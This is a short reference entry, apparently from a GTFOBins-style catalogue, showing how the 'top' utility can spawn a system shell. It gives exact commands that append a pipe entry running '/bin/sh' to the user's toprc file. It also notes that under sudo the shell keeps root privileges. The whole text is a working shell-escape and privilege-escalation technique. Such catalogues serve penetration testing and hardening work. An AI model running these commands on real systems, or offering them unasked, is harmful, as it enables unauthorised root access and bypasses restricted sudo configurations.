This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc
top
# press return twice
reset
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc
top
# press return twice
reset